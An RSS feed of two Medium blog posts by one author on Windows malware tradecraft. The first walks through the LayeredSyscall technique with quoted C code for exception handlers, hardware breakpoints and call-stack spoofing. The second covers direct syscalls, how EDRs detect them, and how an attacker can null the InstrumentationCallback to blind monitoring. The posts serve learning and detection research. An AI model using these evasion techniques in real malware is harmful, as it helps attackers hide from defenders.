<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rajarshi Patra on Medium]]></title>
        <description><![CDATA[Stories by Rajarshi Patra on Medium]]></description>
        <link>https://medium.com/@patrarajarshi20?source=rss-74da524790c6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*n-yyIM-KRweqFQK8</url>
            <title>Stories by Rajarshi Patra on Medium</title>
            <link>https://medium.com/@patrarajarshi20?source=rss-74da524790c6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 01:07:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@patrarajarshi20/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Indirect Syscalls — A Tale Never Ending…]]></title>
            <link>https://medium.com/@patrarajarshi20/indirect-syscalls-a-tale-never-ending-2573fb84cd45?source=rss-74da524790c6------2</link>
            <guid isPermaLink="false">https://medium.com/p/2573fb84cd45</guid>
            <category><![CDATA[evasion]]></category>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Rajarshi Patra]]></dc:creator>
            <pubDate>Fri, 23 May 2025 09:06:22 GMT</pubDate>
            <atom:updated>2025-05-23T09:06:22.973Z</atom:updated>
            <content:encoded><![CDATA[<h3>Indirect Syscalls — A Tale Never Ending…</h3><p>We’re picking up right where we left off. In case you missed the first part, I’d suggest you go ahead and give it a shot <a href="https://medium.com/@patrarajarshi20/direct-syscalls-attacks-and-defenses-18aa3ac98e98">here</a>. Trust me, it’ll help things make a bit more sense.</p><h3>A Quick Recap Before We Dive In</h3><p>We’re talking about using <strong>indirect methods of invoking syscalls</strong> — a technique that gives our malware tradecraft a bit more stealth and a lot more flair.</p><blockquote><em>Also, quick disclaimer before we jump into the madness: there </em>might<em> be moments where we both bang our heads against the wall. No worries, I’ll take the hit first and try to figure our way out of the mess.</em></blockquote><h3>What Are Indirect Syscalls?</h3><p>If you’ve been through <strong>Direct Syscalls</strong>, you already know the drill. We <strong>grab the System Service Numbers (SSNs)</strong>, we <strong>craft our syscall stub</strong>, and we’re good to go. But here’s the twist in our story. Instead of calling the syscall instruction directly, we <strong>jmp to an address where the syscall instruction already exists</strong>.</p><p>Where do we get that syscall instruction from? Well, usually from one of the <strong>exports in </strong><strong>ntdll.dll</strong>. The address is often <strong>chosen at random</strong> to keep things spicy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*I0L44QaMdCQBIWVIE3U-5Q.png" /><figcaption>Image Source: <a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls">https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls</a></figcaption></figure><h3>Let’s talk about Detection</h3><p>Let’s again check how does our call stack look like. What are the areas that gets us caught.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*nCD1pJ_O8NZIRZEqSgHpjg.png" /><figcaption>Fig: There is a direct jump from Hell’s Hall to ntdll.dll</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*37NiOw-g-aCbu6wUO00yyg.png" /><figcaption>Fig: There is a proper flow among different DLLs before touching ntdll.dll</figcaption></figure><p>Hell’s Hall Code can be found <a href="https://github.com/Maldev-Academy/HellHall">here</a>.</p><p>Thus what we found is that though we were calling the syscall instruction within the address space of ntdll.dll there is no backing up of it. By backing up I mean there are no appropriate API calls among the intermediate DLLs.</p><p>And thus by Call Stack Scrutinization we will be able to successfully detect the malicious behavior.</p><h3>Offensive Thinking 💭</h3><p>There has been a lot of research into how to make a call stack look more legitimate, and by this time in the article I am sure you understand how should one look like.</p><p>One obvious thought process which comes into mind is to spoof the call stack. There has been a lot of articles and blogs regarding the same. I will try to attach most of them.</p><p>The technique that I am going to discuss here is about <strong><em>Layered Syscalls</em></strong>. The research was originally done by Adhithya Suresh Kumar and here is the original <a href="https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/">link</a> from White Knight Labs. Kudos to him for developing such a technique. Going Forward what I would be doing in this article is nothing but trying to write my own rendition from what I learnt and understood from this technique. Also I am not going to shy away from the fact that I had gone through the article for around 21 times including now, and I still get puzzled. But hey, don’t worry I wont puzzle you for sure, otherwise this article wouldn’t have been published.</p><h3>Let’s Dissect This Layered Syscalls Technique</h3><p>Layered Syscall uses 2 Vectored Exception Handlers to generate a legitimate callstack for a required Windows API. This generated call stack has the capability to support more than 12 arguments in it.</p><h3>Part 1: Setting Up Hardware Breakpoints</h3><pre>// First Vectored Exception Handler<br>LONG WINAPI AddHwBp(struct _EXCEPTION_POINTERS* ExceptionInfo) {<br>    if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {<br>        <br>        SyscallEntryAddr = ExceptionInfo-&gt;ContextRecord-&gt;Rcx; // Point 1<br>        <br>        // Find syscall opcode location<br>        for (int i = 0; i &lt; 25; i++) {<br>            // Look for 0F 05 (syscall instruction)<br>            if (*(BYTE*)(SyscallEntryAddr + i) == 0x0F &amp;&amp; *(BYTE*)(SyscallEntryAddr + i + 1) == 0x05) {<br>                OPCODE_SYSCALL_OFF = i;<br>                OPCODE_SYSCALL_RET_OFF = i + 2;<br>                break;<br>            }<br>        }<br>        <br>        // Set hardware breakpoint at the syscall opcode<br>        ExceptionInfo-&gt;ContextRecord-&gt;Dr0 = (SyscallEntryAddr);<br>        ExceptionInfo-&gt;ContextRecord-&gt;Dr7 = ExceptionInfo-&gt;ContextRecord-&gt;Dr7 | (1 &lt;&lt; 0);  // Point 2<br>        <br>        // Set hardware breakpoint at the ret opcode after syscall<br>        ExceptionInfo-&gt;ContextRecord-&gt;Dr1 = (SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF);<br>        ExceptionInfo-&gt;ContextRecord-&gt;Dr7 = ExceptionInfo-&gt;ContextRecord-&gt;Dr7 | (1 &lt;&lt; 2);  // Point 3 <br>        <br>        ExceptionInfo-&gt;ContextRecord-&gt;Rip += OPCODE_SZ_ACC_VIO;<br>        <br>        printf(&quot;\n[*] Hardware Breakpoint added at address: %#llx (syscall)\n&quot;, <br>               (ULONG_PTR)ExceptionInfo-&gt;ContextRecord-&gt;Dr0);<br>        printf(&quot;[*] Hardware Breakpoint added at address: %#llx (ret)\n&quot;, <br>               (ULONG_PTR)ExceptionInfo-&gt;ContextRecord-&gt;Dr1);<br>        <br>        return EXCEPTION_CONTINUE_EXECUTION;<br>    }<br>    <br>    return EXCEPTION_CONTINUE_SEARCH;<br>}<br><br>// https://github.com/WKL-Sec/LayeredSyscall/blob/19364dd361056432fb63e52679a2c13645a383a9/HookModule.cpp#L42C1-L74C2</pre><p>Let me break this down for you:</p><ol><li>In this first exception handler, we’re looking for an Access Violation Exception.</li><li>In the x64 calling convention, RCX points to the first argument. I was confused for a long time about how it’s pointing to the start of the syscall. Tracing it back from where it was called cleared this doubt for me.</li></ol><p>But wait — where does this exception come from in the first place? Let’s look at the wrapper function that calls it:</p><pre>// Wrapper Function<br>ULONG wrpNtCreateUserProcess(PHANDLE ProcessHandle, PHANDLE ThreadHandle, ACCESS_MASK ProcessDesiredAccess,<br>                           /* more parameters... */) {<br>    // Get the function address<br>    orgNtCreateUserProcess pNtCreateUserProcess = <br>        (orgNtCreateUserProcess)RetrieveSyscallAddress(&quot;NtCreateUserProcess&quot;);<br>    <br>    if (pNtCreateUserProcess == NULL) {<br>        printf(&quot;[!] Unable to resolve ntdll.dll!NtCreateUserProcess\n&quot;);<br>        return -1;<br>    }<br>    <br>    printf(&quot;[*] Calling function ntdll.dll!NtCreateUserProcess\n&quot;);<br>    <br>    // Get the syscall number and set up hardware breakpoint<br>    int ssn = GetSsnByName((PCHAR)&quot;NtCreateUserProcess&quot;);<br>    SetHwBp((ULONG_PTR)pNtCreateUserProcess, TRUE, ssn);<br>    <br>    // Call the actual function<br>    return pNtCreateUserProcess(ProcessHandle, ThreadHandle, ProcessDesiredAccess, /* more params... */);<br>}<br><br>// https://github.com/WKL-Sec/LayeredSyscall/blob/19364dd361056432fb63e52679a2c13645a383a9/FuncWrappers.cpp#L410C1-L420C2</pre><pre>// Function that triggers the Exception<br>void _SetHwBp(ULONG_PTR FuncAddress) {<br>    TRIGGER_ACCESS_VIOLOATION_EXCEPTION<br>}<br>// The macro that causes the exception<br>#define TRIGGER_ACCESS_VIOLATION_EXCEPTION int *a = 0; int b = *a;<br><br>// https://github.com/WKL-Sec/LayeredSyscall/blob/19364dd361056432fb63e52679a2c13645a383a9/FuncWrappers.cpp</pre><p>So here’s what’s happening:</p><ol><li>The Wrapper Function calls SetHwBp with the address of the real syscall function</li><li>SetHwBp deliberately triggers an Access Violation Exception using a null pointer dereference</li><li>This causes our first exception handler (AddHwBp) to run</li><li>The handler extracts the syscall address from RCX (which was our function’s parameter)</li><li>The handler sets up two hardware breakpoints:</li></ol><ul><li>One at the syscall instruction itself</li><li>Another at the return instruction right after the syscall</li></ul><h3>Part 2: Handling the Hardware Breakpoints</h3><p>Now, when we actually try to call the Windows API function, the hardware breakpoint will trigger, resulting in a single-step exception. This is where our second exception handler comes in:</p><pre>LONG WINAPI HandlerHwBp(struct _EXCEPTION_POINTERS* ExceptionInfo) {<br>    if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_SINGLE_STEP) {<br>        <br>        // Handler for syscall instruction breakpoint<br>        if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionAddress == (PVOID)(SyscallEntryAddr)) {<br>            <br>            printf(&quot;[*] Hardware Breakpoint hit at %#llx (syscall)\n&quot;, ExceptionInfo-&gt;ContextRecord-&gt;Rip);<br>            printf(&quot;[*] Storing Context\n&quot;);<br>            <br>            // Clear hardware breakpoint<br>            ExceptionInfo-&gt;ContextRecord-&gt;Dr0 = 0;<br>            ExceptionInfo-&gt;ContextRecord-&gt;Dr7 = ExceptionInfo-&gt;ContextRecord-&gt;Dr7 &amp; ~(1 &lt;&lt; 0);<br>            <br>            // Save the current CPU context<br>            memcpy_s(SavedContext, sizeof CONTEXT, ExceptionInfo-&gt;ContextRecord, sizeof CONTEXT);<br>            <br>            // Redirect execution to our demo function<br>            ExceptionInfo-&gt;ContextRecord-&gt;Rip = (ULONG_PTR)demofunction;<br>            <br>            // Set the Trace Flag (enables single stepping)<br>            ExceptionInfo-&gt;ContextRecord-&gt;EFlags |= TRACE_FLAG;<br>            <br>            return EXCEPTION_CONTINUE_EXECUTION;<br>        }<br>        <br>        // Handler for ret instruction breakpoint<br>        else if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionAddress == <br>                (PVOID)(SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF)) {<br>                <br>            printf(&quot;[*] Hardware Breakpoint hit at %#llx (ret)\n&quot;, ExceptionInfo-&gt;ContextRecord-&gt;Rip);<br>            printf(&quot;[*] Restoring stack pointer\n\n&quot;);<br>            <br>            // Clear hardware breakpoint<br>            ExceptionInfo-&gt;ContextRecord-&gt;Dr1 = 0;<br>            ExceptionInfo-&gt;ContextRecord-&gt;Dr7 = ExceptionInfo-&gt;ContextRecord-&gt;Dr7 &amp; ~(1 &lt;&lt; 2);<br>            <br>            // Restore the original stack pointer<br>            ExceptionInfo-&gt;ContextRecord-&gt;Rsp = SavedContext-&gt;Rsp;<br>            <br>            return EXCEPTION_CONTINUE_EXECUTION;<br>        }<br>        <br>        // More code for handling single-step exceptions...<br>    }<br>    <br>    return EXCEPTION_CONTINUE_SEARCH;<br>}<br><br>// https://github.com/WKL-Sec/LayeredSyscall/blob/19364dd361056432fb63e52679a2c13645a383a9/HookModule.cpp#L77C1-L200C2</pre><p>This second handler does three key things:</p><ol><li>When the syscall instruction breakpoint hits:</li></ol><ul><li>It saves the current CPU context</li><li>Redirects execution to our custom function</li><li>Enables the trace flag (for single-stepping)</li><li>Clears the hardware breakpoint</li></ul><p>2. When the return instruction breakpoint hits:</p><ul><li>It restores the original stack pointer</li><li>Clears the hardware breakpoint</li></ul><p>3. Handles trace flag exceptions (which we’ll discuss next)</p><h3>Part 3: Finding a Suitable Stack Frame</h3><p>The trace flag we enabled causes an exception after every single instruction. This allows us to find a legitimate place in ntdll.dll to execute our syscall from:</p><pre>// Handler for trace flag exceptions<br>else if (ExceptionInfo-&gt;ContextRecord-&gt;Rip &gt;= NtdllInfo.DllBaseAddress &amp;&amp;<br>         ExceptionInfo-&gt;ContextRecord-&gt;Rip &lt;= NtdllInfo.DllEndAddress) {<br>    <br>    // Find sub rsp, x where x is greater than what we need<br>    if (IsSubRsp == 0) {<br>        for (int i = 0; i &lt; 80; i++) {<br>            if (*(UINT16*)(ExceptionInfo-&gt;ContextRecord-&gt;Rip + i) == OPCODE_RET_CC) break;<br>            <br>            // Look for &quot;sub rsp&quot; instruction<br>            if ((*(UINT32*)(ExceptionInfo-&gt;ContextRecord-&gt;Rip + i) &amp; 0xffffff) == OPCODE_SUB_RSP) {<br>                // Check if enough stack space is allocated<br>                if ((*(UINT32*)(ExceptionInfo-&gt;ContextRecord-&gt;Rip + i) &gt;&gt; 24) &gt;= 0x58) {<br>                    <br>                    // Found appropriate stack frame<br>                    IsSubRsp = 1;<br>                    ExceptionInfo-&gt;ContextRecord-&gt;EFlags |= TRACE_FLAG;<br>                    return EXCEPTION_CONTINUE_EXECUTION;<br>                }<br>                else break;<br>            }<br>        }<br>    }<br>    <br>    // Wait for a call instruction<br>    if (IsSubRsp == 1) {<br>        // If function ends without a call, reset and try again<br>        if (*(UINT16*)ExceptionInfo-&gt;ContextRecord-&gt;Rip == OPCODE_RET_CC || <br>            *(BYTE*)ExceptionInfo-&gt;ContextRecord-&gt;Rip == OPCODE_RET)<br>            IsSubRsp = 0;<br>        // If we found a call instruction, we&#39;re good to go<br>        else if (*(BYTE*)ExceptionInfo-&gt;ContextRecord-&gt;Rip == OPCODE_CALL) {<br>            IsSubRsp = 2;<br>            ExceptionInfo-&gt;ContextRecord-&gt;EFlags |= TRACE_FLAG;<br>            return EXCEPTION_CONTINUE_EXECUTION;<br>        }<br>    }<br>    <br>    // When we&#39;ve found a suitable location, execute our syscall<br>    if (IsSubRsp == 2) {<br>        IsSubRsp = 0;<br>        printf(&quot;[*] Inside ntdll after setting TF at %#llx (%#llx)\n&quot;, <br>              ExceptionInfo-&gt;ContextRecord-&gt;Rip, <br>              ExceptionInfo-&gt;ContextRecord-&gt;Rip - NtdllInfo.DllBaseAddress);<br>        printf(&quot;[*] Generating stack &amp; changing RIP &amp; invoking intended syscall (ssn: %#x)\n&quot;, SyscallNo);<br>        <br>        // Remember the current RSP value<br>        ULONG64 TempRsp = ExceptionInfo-&gt;ContextRecord-&gt;Rsp;<br>        <br>        // Restore our saved context but keep the current stack pointer<br>        memcpy_s(ExceptionInfo-&gt;ContextRecord, sizeof CONTEXT, SavedContext, sizeof CONTEXT);<br>        ExceptionInfo-&gt;ContextRecord-&gt;Rsp = TempRsp;<br>        <br>        // Prepare for syscall (similar to the common prologue in syscall stubs)<br>        ExceptionInfo-&gt;ContextRecord-&gt;R10 = ExceptionInfo-&gt;ContextRecord-&gt;Rcx;<br>        ExceptionInfo-&gt;ContextRecord-&gt;Rax = SyscallNo;<br>        ExceptionInfo-&gt;ContextRecord-&gt;Rip = SyscallEntryAddr + OPCODE_SYSCALL_OFF;<br>        <br>        // Copy extra arguments to the stack if needed<br>        if (ExtendedArgs) {<br>            *(ULONG64*)(ExceptionInfo-&gt;ContextRecord-&gt;Rsp + FIFTH_ARGUMENT) = <br>                *(ULONG64*)(SavedContext-&gt;Rsp + FIFTH_ARGUMENT);<br>            // ... more arguments copied ...<br>        }<br>        <br>        // Clear Trace Flag<br>        ExceptionInfo-&gt;ContextRecord-&gt;EFlags &amp;= ~TRACE_FLAG;<br>        <br>        return EXCEPTION_CONTINUE_EXECUTION;<br>    }<br>}<br><br>// </pre><p>Here’s what’s happening in this part:</p><ol><li>We’re searching within ntdll.dll for specific patterns:</li></ol><ul><li>First, we look for a sub rsp, X instruction that allocates enough stack space</li><li>Then, we wait for a call instruction within that function</li></ul><p>2. Why do we need this?</p><ul><li>When a call instruction executes, it pushes the return address on the stack</li><li>This return address makes it look like the syscall was called from a legitimate function</li><li>We use the stack space of a legitimate ntdll function for our syscall</li></ul><p>3. Once we find the right spot:</p><ul><li>We save the current stack pointer (TempRsp)</li><li>Restore our original register context but keep using the ntdll stack</li><li>Set up the syscall number in RAX</li><li>Make sure any extra arguments get copied to the stack</li><li>Set RIP to the syscall instruction in ntdll.dll</li><li>Disable the trace flag and let the program continue</li></ul><h3>Part 4: The Critical Role of the Return Instruction Breakpoint</h3><p>Let’s dive deeper into why that second breakpoint at the return instruction (after the syscall) is so important. This was something I was stuck on for a while, but it’s a crucial part of making this technique work.</p><pre>// Handler for the return instruction after syscall executes<br>else if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionAddress == (PVOID)(SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF)) {<br>    printf(&quot;[*] Hardware Breakpoint hit at %#llx (ret)\n&quot;, ExceptionInfo-&gt;ContextRecord-&gt;Rip);<br>    printf(&quot;[*] Restoring stack pointer\n\n&quot;);<br>    <br>    // Clear hardware breakpoint<br>    ExceptionInfo-&gt;ContextRecord-&gt;Dr1 = 0;<br>    ExceptionInfo-&gt;ContextRecord-&gt;Dr7 = ExceptionInfo-&gt;ContextRecord-&gt;Dr7 &amp; ~(1 &lt;&lt; 2);<br>    <br>    // This is the key part! Restore the original stack pointer<br>    ExceptionInfo-&gt;ContextRecord-&gt;Rsp = SavedContext-&gt;Rsp;<br>    <br>    return EXCEPTION_CONTINUE_EXECUTION;<br>}</pre><p>Here’s why this is so important:</p><ol><li>When the syscall finishes executing, we hit our second hardware breakpoint at the return instruction.</li><li>At this point, if we just let the ret instruction execute normally, it would pop the return address from the stack and jump to it. But remember, we&#39;re using a stack frame from some random function inside ntdll.dll that we found during single-stepping.</li><li>If we allowed that normal return, we’d jump to some random instruction in ntdll.dll that has nothing to do with our code. Our program would crash or behave unpredictably.</li><li>Instead, we intercept at this critical moment and restore the original stack pointer (RSP) that we saved when we first began this process.</li><li>Now when the ret instruction executes, it will pop the correct return address - the one from our wrapper function - and execution will return smoothly to our code as if the syscall happened normally.</li></ol><p>This delicate stack manipulation at the return instruction is what completes the illusion. We borrowed the stack frame of a legitimate ntdll.dll function to execute our syscall, and then we carefully restore our own stack to continue execution normally.</p><h3>What Have We Accomplished?</h3><p>By using this technique, we’ve created a totally legit-looking call stack that includes proper calls between DLLs. If an EDR were to check the call stack when our syscall executes, it would see:</p><ol><li>Our wrapper function</li><li>A legitimate ntdll function (chosen at runtime)</li><li>The syscall instruction</li></ol><p>This is vastly different from direct syscalls where there’s an obvious jump from our code straight to ntdll.dll.</p><p>The beauty of this technique is that it dynamically builds a legitimate call stack at runtime, making it much harder to detect. It’s also capable of handling functions with up to 12 arguments, which covers nearly all Windows API calls you’d need.</p><h3>Final Thoughts</h3><p>This LayeredSyscall technique is one of the more sophisticated ways to execute syscalls stealthily. It’s complex — I’ve read through it 21 times and still sometimes get puzzled by certain aspects — but it shows the evolution of tradecraft in this space.</p><p>While direct syscalls are now commonly detected by EDRs, this layered approach raises the bar significantly by creating a legitimate-looking call stack that’s harder to distinguish from normal application behavior.</p><p>Remember though, as with all tradecraft: this is a cat and mouse game. As new evasion techniques emerge, detection capabilities will evolve to match them.</p><p>References</p><ol><li><a href="https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/">https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/</a></li><li><a href="https://github.com/Maldev-Academy/HellHall">https://github.com/Maldev-Academy/HellHall</a></li><li><a href="https://github.com/WKL-Sec/LayeredSyscall">https://github.com/WKL-Sec/LayeredSyscall</a></li><li><a href="https://dtsec.us/2023-09-15-StackSpoofin/">https://dtsec.us/2023-09-15-StackSpoofin/</a> (An awesome blog to understand about Call Stack Spoofing)</li><li><a href="https://sabotagesec.com/the-stack-series-return-address-spoofing-on-x64/">https://sabotagesec.com/the-stack-series-return-address-spoofing-on-x64/</a></li><li><a href="https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing">https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2573fb84cd45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Direct Syscalls — Attacks and Defenses]]></title>
            <link>https://medium.com/@patrarajarshi20/direct-syscalls-attacks-and-defenses-18aa3ac98e98?source=rss-74da524790c6------2</link>
            <guid isPermaLink="false">https://medium.com/p/18aa3ac98e98</guid>
            <category><![CDATA[edr-evasion]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Rajarshi Patra]]></dc:creator>
            <pubDate>Tue, 13 May 2025 18:11:16 GMT</pubDate>
            <atom:updated>2025-05-13T18:11:16.157Z</atom:updated>
            <content:encoded><![CDATA[<h3>Direct Syscalls — Attacks and Defenses</h3><p>Well, you might be thinking: <em>“Why another blog on the topic of Direct Syscalls?”</em> It’s simple — I just wanted to document my learnings around this topic. Trust me, I <em>thought</em> I understood this technique, but every time I sat with a friend to explain the whole cycle, I’d get stuck on one single point. So, let’s dive into what’s been bothering me so much.</p><h3>What is Direct Syscalls?</h3><p>To understand direct syscalls, let’s jump back a bit into malware development history and figure out <em>why</em> this technique emerged in the first place.</p><p>Here’s the deal: when writing malware, we rely heavily on Windows APIs to perform typical process injection tasks — like:</p><ul><li>Allocate memory</li><li>Change protection on the allocated memory</li><li>Write shellcode</li><li>Execute it</li></ul><p>The problem? These APIs are <em>hooked</em> by modern EDRs. They inspect the arguments passed to these functions and trigger alerts based on known behaviors. So, to bypass these detections, researchers and threat actors came up with the idea of calling the APIs <em>directly</em> from their code, bypassing the API layer entirely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*rNDE3cuAD9Q6l1_1Ua8hVQ.png" /><figcaption>Image Source: <a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls">https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*jFgHWeYhm2gICBL8lhjdNg.png" /><figcaption>Image Source: <a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls">https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls</a></figcaption></figure><p>This means manually grabbing syscall numbers, crafting syscall stubs for the target APIs, and then invoking them using the syscall instruction. Sounds cool, right? It did to me, too. I was like, “<strong>This is the silver bullet!</strong>” User-friendly malware that gets the job done, neatly evading detection.</p><h3>Blue Hat On!</h3><p>Here’s where the story takes a turn. Let’s talk detection.</p><h3>Detection Tactic #1:</h3><p>Let’s look at the binary from a static analysis perspective. If you’re using direct syscalls, then guess what? Your binary likely has the syscall instruction in plain sight. That’s an easy IOC for analysts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwwzYTGpOul_Y4KXTw35qw.png" /><figcaption>Fig: syscall instruction inside the binary</figcaption></figure><h3>Detection Tactic #2:</h3><p>Now flip the lens — consider dynamic analysis. Let’s talk about what we mean by call stack of a thread.</p><blockquote>Every thread in a process has its own call stack. When a function is called, a frame is created for it. This frame is a space for it store some data for that function, like local variables. Right below the base of the frame contains a return address; the location of the frame’s caller. This way, when the function finishes execution, it can return to its caller.<br>Source : <a href="https://dtsec.us/2023-09-15-StackSpoofin/">https://dtsec.us/2023-09-15-StackSpoofin/</a></blockquote><p>The following 2 pictures show the differences between the call stack of Notepad.exe and Hellsgate.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*W6S2z6CRj8WdaUvPufYxdw.png" /><figcaption>Fig: Call Stack for Notepad.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*DM1f6AuCsYKBxzT2su6fzg.png" /><figcaption>Fig: Call Stack for HellsGate.exe</figcaption></figure><p>In the first diagram, we can see how a typical Windows API call travels through multiple user-mode DLLs before finally reaching ntdll.dll or win32u.dll, where the actual syscall is made. In contrast, the second diagram shows a direct call to the syscall from within our program, completely bypassing the usual API call chain</p><h3>Here Comes Nirvana…</h3><p>This is where things get fuzzy for me — <em>every time</em>. Trust me, everything before this I could freestyle without even looking anything up. But now? Now I need to slow down.</p><p>So what are we discussing here?</p><p>Let’s talk about what happens when a syscall transitions <em>back</em> from kernel mode to user mode.</p><p>There’s a specific register, <strong>R10</strong>, that stores the return address. After a syscall completes, that’s where the processor jumps back to. You can read more about this in detail in <a href="https://winternl.com/detecting-manual-syscalls-from-user-mode/">here</a> and <a href="http://publications.alex-ionescu.com/Recon/Recon%202015%20-%20Hooking%20Nirvana%20-%20Stealthy%20Instrumentation%20Techniques.pdf">here</a>. But before the kernel hands back control, it checks a special field called <strong>InstrumentationCallback</strong>.</p><p>If that field isn’t null, the kernel <em>overwrites</em> the RIP with the address from this callback. This means: if that callback is populated, control won’t return to your original address — it’ll jump to the function the EDR registered.</p><p>Now you’re probably thinking: “Wait… so I can write a function, set it in that field, and capture all <strong>syscall</strong> returns?”</p><p>In simple terms we can check whether this return address stored in R10 falls within memory address of modules like ntdll.dll or win32u.dll. If not we can flag them malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y4SDH7vDt1eo8DCQ" /><figcaption>Fig: Direct Syscall Detection for HellsGate</figcaption></figure><h3>But Wait, Nobody Said Nirvana is Blue…</h3><p>Here’s where it gets spicy.</p><p>As an attacker, what if we could just… check if this <strong>InstrumentationCallback</strong> field is set, and if it is, we nullify it?</p><p>Boom. Now the EDR can’t hook the return. You’ve just pulled the rug out from under their monitoring mechanism — <em>silently</em> and <em>surgically</em>. This breaks their visibility and helps evade behavioral detections that rely on this return trap..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MXVf3Yt-darQTq_4-4D4ag.png" /><figcaption>Fig: After the syscall-detect.dll has been loaded</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HxRJpmmwbYLWLWfaBMHZQg.png" /><figcaption>Fig: After removing the callback function and nullifying the value</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cz9o-4NqK1kFMZpiR_1-yA.png" /><figcaption>Fig: Clearing the callback function address using NtSetInformationProcess API</figcaption></figure><h3>Wrapping Up</h3><p>So yeah, this post is part therapy, part documentation, and part exploration. Though everything is not covered in much detail but rather its a fast paced answer to my question which I hope many readers would like to to correlate.</p><p>I would like to share the following resources for someone trying to deepen their knowledge about Direct Syscalls.</p><p><a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls">https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls</a><br><a href="https://oblivion-malware.xyz/posts/detecting-syscalls/">https://oblivion-malware.xyz/posts/detecting-syscalls/</a><br><a href="https://winternl.com/detecting-manual-syscalls-from-user-mode/">https://winternl.com/detecting-manual-syscalls-from-user-mode/</a> (this has by far the best explanation regarding the Nirvana Instrumentation)<br><a href="https://maldevacademy.com/">https://maldevacademy.com/</a> (An awesome resource to learn about malware development)<br><a href="https://github.com/Cy83rTR0n/Malware-Research-Diary">Cy83rTR0n/Malware-Research-Diary</a> (Incase you want to try it out !!)</p><p>Also there are many questions that I am not able to answer my friend. So I will keep on writing to explain it to him. See you soon</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18aa3ac98e98" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>